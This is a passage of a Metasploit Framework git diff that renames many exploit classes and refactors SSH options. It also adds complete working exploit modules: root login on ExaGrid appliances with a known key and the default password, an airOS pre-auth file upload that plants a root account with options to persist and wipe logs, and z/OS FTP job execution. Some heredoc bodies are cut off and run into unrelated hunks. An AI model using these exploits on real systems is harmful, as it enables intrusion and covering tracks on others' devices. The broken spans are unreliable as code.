datastore['SRVHOST'] == "::") - srv_host = Rex::Socket.source_address(rhost) + srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end diff --git a/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb b/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb index cbfa6a463a..79540ed980 100644 --- a/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb +++ b/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb b/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb index 4d77912786..97a8b45d01 100644 --- a/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb +++ b/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'net/ssh' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote include Msf::Auxiliary::Report Rank = ExcellentRanking @@ -72,16 +72,15 @@ class Metasploit3 < Msf::Exploit::Remote end def do_login(user) + factory = Rex::Socket::SSHFactory.new(framework,self, datastore['Proxies']) opt_hash = { - :auth_methods => ['publickey'], - :msframework => framework, - :msfmodule => self, - :port => rport, - :key_data => [ key_data ], - :disable_agent => true, - :config => false, - :record_auth_info => true, - :proxies => datastore['Proxies'] + auth_methods: ['publickey'], + port: rport, + key_data: [ key_data ], + use_agent: false, + config: false, + proxy: factory, + non_interactive: true } opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin diff --git a/modules/exploits/linux/ssh/exagrid_known_privkey.rb b/modules/exploits/linux/ssh/exagrid_known_privkey.rb new file mode 100644 index 0000000000..87b88941f4 --- /dev/null +++ b/modules/exploits/linux/ssh/exagrid_known_privkey.rb @@ -0,0 +1,196 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'net/ssh' + + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::SSH + + def initialize(info = {}) + super(update_info(info, { + 'Name' => 'ExaGrid Known SSH Key and Default Password', + 'Description' => %q{ + ExaGrid ships a public/private key pair on their backup appliances to + allow passwordless authentication to other ExaGrid appliances. Since + the private key is easily retrievable, an attacker can use it to gain + unauthorized remote access as root. Additionally, this module will + attempt to use the default password for root, 'inflection'. + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Targets' => [ [ "Universal", {} ] ], + 'Payload' => + { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find', + }, + }, + 'Author' => ['egypt'], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2016-1560' ], # password + [ 'CVE', '2016-1561' ], # private key + [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/04/07/r7-2016-04-exagrid-backdoor-ssh-keys-and-hardcoded-credentials' ] + ], + 'DisclosureDate' => "Apr 07 2016", + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, + 'DefaultTarget' => 0 + })) + + register_options( + [ + # Since we don't include Tcp, we have to register this manually + Opt::RHOST(), + Opt::RPORT(22) + ], self.class + ) + + register_advanced_options( + [ + OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), + OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) + ] + ) + + end + + # helper methods that normally come from Tcp + def rhost + datastore['RHOST'] + end + def rport + datastore['RPORT'] + end + + def do_login(ssh_options) + begin + ssh_socket = nil + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + ssh_socket = Net::SSH.start(rhost, 'root', ssh_options) + end + rescue Rex::ConnectionError + return + rescue Net::SSH::Disconnect, ::EOFError + print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" + return + rescue ::Timeout::Error + print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" + return + rescue Net::SSH::AuthenticationFailed + print_error "#{rhost}:#{rport} SSH - Failed authentication" + rescue Net::SSH::Exception => e + print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" + return + end + + if ssh_socket + + # Create a new session from the socket, then dump it. + conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/bash -i', true) + ssh_socket = nil + + return conn + else + return false + end + end + + # Ghetto hack to prevent the shell detection logic from hitting false + # negatives due to weirdness with ssh sockets. We already know it's a shell + # because auth succeeded by this point, so no need to do the check anyway. + module TrustMeItsAShell + def _check_shell(*args) + true + end + end + + def exploit + payload_instance.extend(TrustMeItsAShell) + factory = ssh_socket_factory + + ssh_options = { + auth_methods: ['publickey'], + config: false, + use_agent: false, + key_data: [ key_data ], + port: rport, + proxy: factory, + non_interactive: true + } + ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG'] + + conn = do_login(ssh_options) + + unless is_success?(conn, true) + ssh_options[:auth_methods] = ['password'] + ssh_options[:password] = 'inflection' + ssh_options.delete(:key_data) + conn = do_login(ssh_options) + is_success?(conn, false) + end + end + + def is_success?(conn,key_based) + if conn + print_good "Successful login" + service_data = { + address: rhost, + port: rport, + protocol: 'tcp', + service_name: 'ssh', + workspace_id: myworkspace_id, + } + credential_data = { + username: 'root', + private_type: ( key_based ? :ssh_key : :password ), + private_data: ( key_based ? key_data : 'inflection' ), + origin_type: :service, + module_fullname: fullname, + }.merge(service_data) + + core = create_credential(credential_data) + login_data = { + core: core, + last_attempted: Time.now, + }.merge(service_data) + + create_credential_login(login_data) + + handler(conn.lsock) + true + else + false + end + end + + def key_data + < ['publickey'], - :msframework => framework, - :msfmodule => self, - :port => rport, - :key_data => [ key_data ], - :disable_agent => true, - :config => false, - :record_auth_info => true, - :proxies => datastore['Proxies'] + auth_methods: ['publickey'], + port: rport, + key_data: [ key_data ], + use_agent: false, + config: false, + proxy: factory, + non_interactive: true } opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin diff --git a/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb b/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb index 3a33e74fb0..598518db88 100644 --- a/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb +++ b/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb @@ -6,10 +6,11 @@ require 'msf/core' require 'net/ssh' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Auxiliary::Report + include Msf::Exploit::Remote::SSH def initialize(info = {}) super(update_info(info, { @@ -68,16 +69,15 @@ class Metasploit3 < Msf::Exploit::Remote end def do_login(user) + factory = ssh_socket_factory opt_hash = { :auth_methods => ['publickey'], - :msframework => framework, - :msfmodule => self, :port => rport, :key_data => [ key_data ], - :disable_agent => true, + :use_agent => false, :config => false, - :record_auth_info => true, - :proxies => datastore['Proxies'] + :proxy => factory, + :non_interactive => true } opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin diff --git a/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb b/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb index 3a68d2f957..7d66168fea 100644 --- a/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb +++ b/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb @@ -6,9 +6,11 @@ require 'msf/core' require 'net/ssh' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking + include Msf::Exploit::Remote::SSH + def initialize(info = {}) super(update_info(info, { 'Name' => 'Quantum DXi V1000 SSH Private Key Exposure', @@ -66,16 +68,15 @@ class Metasploit3 < Msf::Exploit::Remote end def do_login(user) + factory = ssh_socket_factory opt_hash = { :auth_methods => ['publickey'], - :msframework => framework, - :msfmodule => self, :port => rport, :key_data => [ key_data ], - :disable_agent => true, + :use_agent => false, :config => false, - :record_auth_info => true, - :proxies => datastore['Proxies'] + :proxy => factory, + :non_interactive => true } opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin diff --git a/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb index 83e5191308..f81f0517a9 100644 --- a/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb +++ b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb @@ -6,10 +6,11 @@ require 'msf/core' require 'net/ssh' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Auxiliary::CommandShell + include Msf::Exploit::Remote::SSH def initialize(info={}) super(update_info(info, @@ -79,16 +80,15 @@ class Metasploit3 < Msf::Exploit::Remote def do_login(user, pass) + factory = ssh_socket_factory opts = { :auth_methods => ['password', 'keyboard-interactive'], - :msframework => framework, - :msfmodule => self, :port => rport, - :disable_agent => true, + :use_agent => false, :config => true, :password => pass, - :record_auth_info => true, - :proxies => datastore['Proxies'] + :proxy => factory, + :non_interactive => true } opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] diff --git a/modules/exploits/linux/ssh/symantec_smg_ssh.rb b/modules/exploits/linux/ssh/symantec_smg_ssh.rb index 4885234c97..6fe9c6d4c6 100644 --- a/modules/exploits/linux/ssh/symantec_smg_ssh.rb +++ b/modules/exploits/linux/ssh/symantec_smg_ssh.rb @@ -6,10 +6,11 @@ require 'msf/core' require 'net/ssh' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Auxiliary::CommandShell + include Msf::Exploit::Remote::SSH def initialize(info={}) super(update_info(info, @@ -83,16 +84,15 @@ class Metasploit3 < Msf::Exploit::Remote def do_login(user, pass) + factory = ssh_socket_factory opts = { :auth_methods => ['password', 'keyboard-interactive'], - :msframework => framework, - :msfmodule => self, :port => rport, - :disable_agent => true, + :use_agent => false, :config => false, :password => pass, - :record_auth_info => true, - :proxies => datastore['Proxies'] + :proxy => factory, + :non_interactive => true } opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] diff --git a/modules/exploits/linux/ssh/ubiquiti_airos_file_upload.rb b/modules/exploits/linux/ssh/ubiquiti_airos_file_upload.rb new file mode 100644 index 0000000000..53faeb8daa --- /dev/null +++ b/modules/exploits/linux/ssh/ubiquiti_airos_file_upload.rb @@ -0,0 +1,246 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + # See note about overwritten files + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::SSH + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Ubiquiti airOS Arbitrary File Upload', + 'Description' => %q{ + This module exploits a pre-auth file upload to install a new root user + to /etc/passwd and an SSH key to /etc/dropbear/authorized_keys. + + FYI, /etc/{passwd,dropbear/authorized_keys} will be overwritten. + /etc/persistent/rc.poststart will be overwritten if PERSIST_ETC is true. + + This method is used by the "mf" malware infecting these devices. + }, + 'Author' => [ + '93c08539', # Vulnerability discovery + 'wvu' # Metasploit module + ], + 'References' => [ + %w{EDB 39701}, + %w{URL https://hackerone.com/reports/73480} + ], + 'DisclosureDate' => 'Feb 13 2016', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Payload' => { + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find' + } + }, + 'Targets' => [ + ['Ubiquiti airOS < 5.6.2', {}] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SSL' => true + } + )) + + register_options([ + Opt::RPORT(443), + OptPort.new('SSH_PORT', [true, 'SSH port', 22]) + ]) + + register_advanced_options([ + OptBool.new('PERSIST_ETC', [false, 'Persist in /etc/persistent', false]), + OptBool.new('WIPE_LOGS', [false, 'Wipe /var/log/messages', false]), + OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]), + OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10]) + ]) + end + + def exploit + print_status('Uploading /etc/passwd') + upload_etc_passwd + print_status('Uploading /etc/dropbear/authorized_keys') + upload_authorized_keys + print_status("Logging in as #{username}") + vprint_status("Password: #{password}") + vprint_status("Private key:\n#{private_key}") + if (ssh = ssh_login) + print_good("Logged in as #{username}") + handler(ssh.lsock) + end + end + + def on_new_session(session) + super + if datastore['PERSIST_ETC'] + print_status('Persisting in /etc/persistent') + persist_etc(session) + end + if datastore['WIPE_LOGS'] + print_status('Wiping /var/log/messages') + wipe_logs(session) + end + end + + def upload_etc_passwd + mime = Rex::MIME::Message.new + mime.add_part(etc_passwd, 'text/plain', 'binary', + 'form-data; name="passwd"; filename="../../etc/passwd"') + + send_request_cgi( + 'method' => 'POST', + 'uri' => '/login.cgi', + 'ctype' => "multipart/form-data; boundary=#{mime.bound}", + 'data' => mime.to_s + ) + end + + def upload_authorized_keys + mime = Rex::MIME::Message.new + mime.add_part(authorized_keys, 'text/plain', 'binary', + 'form-data; name="authorized_keys"; ' \ + 'filename="../../etc/dropbear/authorized_keys"') + + send_request_cgi( + 'method' => 'POST', + 'uri' => '/login.cgi', + 'ctype' => "multipart/form-data; boundary=#{mime.bound}", + 'data' => mime.to_s + ) + end + + def ssh_login + factory = ssh_socket_factory + + ssh_opts = { + port: datastore['SSH_PORT'], + auth_methods: %w{publickey password}, + key_data: [private_key], + non_interactive: true, + config: false, + use_agent: false, + proxy: factory + } + + ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG'] + + begin + ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do + Net::SSH.start(rhost, username, ssh_opts) + end + rescue Net::SSH::Exception => e + vprint_error("#{e.class}: #{e.message}") + return nil + end + + if ssh + report_vuln( + host: rhost, + name: self.name, + refs: self.references, + info: ssh.transport.server_version.version + ) + report_note( + host: rhost, + port: datastore['SSH_PORT'], + type: 'airos.ssh.key', + data: private_key + ) + return Net::SSH::CommandStream.new(ssh, '/bin/sh', true) + end + + nil + end + + # + # Persistence and cleanup methods + # + + def persist_etc(session) + mime = Rex::MIME::Message.new + mime.add_part(rc_poststart, 'text/plain', 'binary', + 'form-data; name="rc.poststart"; ' \ + 'filename="../../etc/persistent/rc.poststart"') + + send_request_cgi( + 'method' => 'POST', + 'uri' => '/login.cgi', + 'ctype' => "multipart/form-data; boundary=#{mime.bound}", + 'data' => mime.to_s + ) + + # http://www.hwmn.org/w/Ubiquity_HOWTO + commands = [ + "mkdir #{username}", + "cp /etc/passwd /etc/dropbear/authorized_keys #{username}", + 'cfgmtd -wp /etc' + ] + + commands.each do |command| + session.shell_command_token(command) + end + end + + def wipe_logs(session) + session.shell_command_token('> /var/log/messages') + end + + # + # /etc/passwd methods + # + + def etc_passwd + "#{username}:#{crypt(password)}:0:0:Administrator:/etc/persistent:/bin/sh\n" + end + + def crypt(password) + # http://man7.org/linux/man-pages/man3/crypt.3.html + salt = Rex::Text.rand_text(2, '', Rex::Text::AlphaNumeric + './') + password.crypt(salt) + end + + def username + @username ||= Rex::Text.rand_text_alpha_lower(8) + end + + def password + @password ||= Rex::Text.rand_text_alphanumeric(8) + end + + # + # /etc/dropbear/authorized_keys methods + # + + def authorized_keys + pubkey = Rex::Text.encode_base64(ssh_keygen.public_key.to_blob) + "#{ssh_keygen.ssh_type} #{pubkey}\n" + end + + def private_key + ssh_keygen.to_pem + end + + def ssh_keygen + @ssh_keygen ||= OpenSSL::PKey::RSA.new(2048) + end + + # + # /etc/persistent/rc.poststart methods + # + + def rc_poststart + < 'FTP JCL Execution', + 'Description' => %q{(Submit JCL to z/OS via FTP and SITE FILE=JES. + This exploit requires valid credentials on the target system)}, + 'Author' => + [ + 'Bigendian Smalls', + 'mainframed a.k.a. soldier of fortran', + 'S&Oxballs a.k.a. chiefascot' + ], + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'Platform' => ['mainframe'], + 'Privileged' => false, + 'Targets' => [['Automatic', {}]], + 'DisclosureDate' => 'May 12 2013', + 'DisableNops' => 'true', + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(21), + OptInt.new('SLEEP', [ false, "Time to wait before checking if job has completed.", 5 ]) + ], self.class + ) + end + + def check + ## + # Connect to get the FTP banner and check target OS + ## + if !connect_login + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failed to connect to FTP server") + else + print_good("Successfully connected to FTP server.") + end + test_jes = send_cmd(['site', 'file=jes']) + + # Disconnect and check cached self.banner + disconnect + + ## + # Check if the target system has an FTP server running on z/OS" + ## + case banner + when /IBM FTP CS V.R./ + case test_jes + when /200 SITE/ + print_status("Found IBM z/OS Banner and JES commands accepted") + return Exploit::CheckCode::Vulnerable + else + print_status("Found IBM z/OS Banner but SITE FILE=JES failed. Try anyway!") + return Exploit::CheckCode::Detected + end + + ## + # Return the Safe flag if system is not exploitable + ## + else + print_status("We could not recognize the server banner: #{banner.strip}") + return Exploit::CheckCode::Safe + end + end + + ## + # Exploit the target system by submitting a JCL job via FTP + ## + def exploit + if !connect_login + fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Failed to connect to FTP server") + else + print_good("Successfully connected to FTP server.") + end + + send_cmd(['site', 'file=jes']) + print_status("Successfully switched to JES mode") + + jcl_file_name = "#{Rex::Text.rand_text_alpha(8).upcase}" + print_status("Uploading JCL file: #{jcl_file_name}") + + res = send_cmd_data(['put', jcl_file_name], payload.encoded) + if res.nil? + fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Failed to upload JCL to FTP server") + end + + job_num = res.lines.first.split.last + print_good("Job Submitted. Job number is #{job_num}") + + handler + disconnect + end +end diff --git a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb index 445567be76..4bdb568455 100644 --- a/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb b/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb index dcb5f9346a..c3145edd6a 100644 --- a/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb +++ b/modules/exploits/multi/browser/adobe_flash_nellymoser_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb index 1a6ef9ca70..4a3fc784c6 100644 --- a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb +++ b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb index bb4886ba44..78d47028e5 100644 --- a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb b/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb index f79bc97fd5..3fefc1f43a 100644 --- a/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb +++ b/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb b/modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb index 68a671f847..9e3a04a118 100644 --- a/modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb +++ b/modules/exploits/multi/browser/adobe_flash_shader_drawing_fill.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb b/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb index 8c833f900e..c5f779aac6 100644 --- a/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb +++ b/modules/exploits/multi/browser/adobe_flash_shader_job_overflow.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb index b040cd0391..385b64db3e 100644 --- a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/multi/browser/firefox_escape_retval.rb b/modules/exploits/multi/browser/firefox_escape_retval.rb index 55f244cdda..a3c709311a 100644 --- a/modules/exploits/multi/browser/firefox_escape_retval.rb +++ b/modules/exploits/multi/browser/firefox_escape_retval.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking # diff --git a/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb b/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb index 7cf0100b51..0cae78da7e 100644 --- a/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb +++ b/modules/exploits/multi/browser/firefox_pdfjs_privilege_escalation.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb b/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb index 253f4b1b31..382f8841bd 100644 --- a/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb +++ b/modules/exploits/multi/browser/firefox_proto_crmfrequest.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserExploitServer @@ -45,10 +45,8 @@ class Metasploit3 < Msf::Exploit::Remote 'DisclosureDate' => "Aug 6 2013", 'References' => [ ['CVE', '2012-3993'], # used to install function that gets called from chrome:// (ff<15) - ['OSVDB', '86111'], ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=768101'], ['CVE', '2013-1710'], # used to peek into privileged caller's closure (ff<23) - ['OSVDB', '96019'] ], 'BrowserRequirements' => { :source => 'script', @@ -68,17 +66,26 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, generate_addon_xpi(cli).pack, { 'Content-Type' => 'application/x-xpinstall' }) else print_status("Sending HTML") - send_response_html(cli, generate_html(target_info)) + res = generate_html(target_info,request.headers['Host']) + vprint_status res.to_s + send_response_html(cli, res) end end - def generate_html(target_info) + def generate_html(target_info,refer) injection = if target_info[:ua_ver].to_i == 15 "Function.prototype.call.call(p.__defineGetter__,obj,key,runme);" else "p2.constructor.defineProperty(obj,key,{get:runme});" end + if refer.nil? or refer.blank? + redirect = "#{get_module_uri}/addon.xpi" + else + proto = ((datastore['SSL']) ? 'https' : 'http') + redirect = "#{proto}://#{refer}#{get_module_resource}addon.xpi" + end + script = js_obfuscate %Q| try{InstallTrigger.install(0)}catch(e){p=e;}; var p2=Object.getPrototypeOf(Object.getPrototypeOf(p)); @@ -107,7 +114,7 @@ class Metasploit3 < Msf::Exploit::Remote js_payload = js_obfuscate %Q| if (!window.done) { window.AddonManager.getInstallForURL( - '#{get_module_uri}/addon.xpi', + '#{redirect}', function(install) { install.install() }, 'application/x-xpinstall' ); diff --git a/modules/exploits/multi/browser/firefox_proxy_prototype.rb b/modules/exploits/multi/browser/firefox_proxy_prototype.rb index 8da445326f..ff0aa8649d 100644 --- a/modules/exploits/multi/browser/firefox_proxy_prototype.rb +++ b/modules/exploits/multi/browser/firefox_proxy_prototype.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/exploitation/jsobfu' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/multi/browser/firefox_queryinterface.rb b/modules/exploits/multi/browser/firefox_queryinterface.rb index 4511da4250..a78533c60a 100644 --- a/modules/exploits/multi/browser/firefox_queryinterface.rb +++ b/modules/exploits/multi/browser/firefox_queryinterface.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking # diff --git a/modules/exploits/multi/browser/firefox_svg_plugin.rb b/modules/exploits/multi/browser/firefox_svg_plugin.rb index 6bfa1dc147..568c9ed1de 100644 --- a/modules/exploits/multi/browser/firefox_svg_plugin.rb +++ b/modules/exploits/multi/browser/firefox_svg_plugin.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/multi/browser/firefox_tostring_console_injection.rb b/modules/exploits/multi/browser/firefox_tostring_console_injection.rb index ad5eda286d..cee613df0d 100644 --- a/modules/exploits/multi/browser/firefox_tostring_console_injection.rb +++ b/modules/exploits/multi/browser/firefox_tostring_console_injection.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/exploitation/jsobfu' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/multi/browser/firefox_webidl_injection.rb b/modules/exploits/multi/browser/firefox_webidl_injection.rb index 194c1920ba..75d0e62887 100644 --- a/modules/exploits/multi/browser/firefox_webidl_injection.rb +++ b/modules/exploits/multi/browser/firefox_webidl_injection.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/exploitation/jsobfu' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb index f76342cdbf..5bef4ac4e8 100644 --- a/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb +++ b/modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'rex/zip' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/browser/itms_overflow.rb b/modules/exploits/multi/browser/itms_overflow.rb index 9fe7bb5ea4..9faaab409d 100644 --- a/modules/exploits/multi/browser/itms_overflow.rb +++ b/modules/exploits/multi/browser/itms_overflow.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/browser/java_atomicreferencearray.rb b/modules/exploits/multi/browser/java_atomicreferencearray.rb index aedfed2fd1..2efbc2544a 100644 --- a/modules/exploits/multi/browser/java_atomicreferencearray.rb +++ b/modules/exploits/multi/browser/java_atomicreferencearray.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/multi/browser/java_calendar_deserialize.rb b/modules/exploits/multi/browser/java_calendar_deserialize.rb index 3942291ee4..7d91e8b864 100644 --- a/modules/exploits/multi/browser/java_calendar_deserialize.rb +++ b/modules/exploits/multi/browser/java_calendar_deserialize.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < 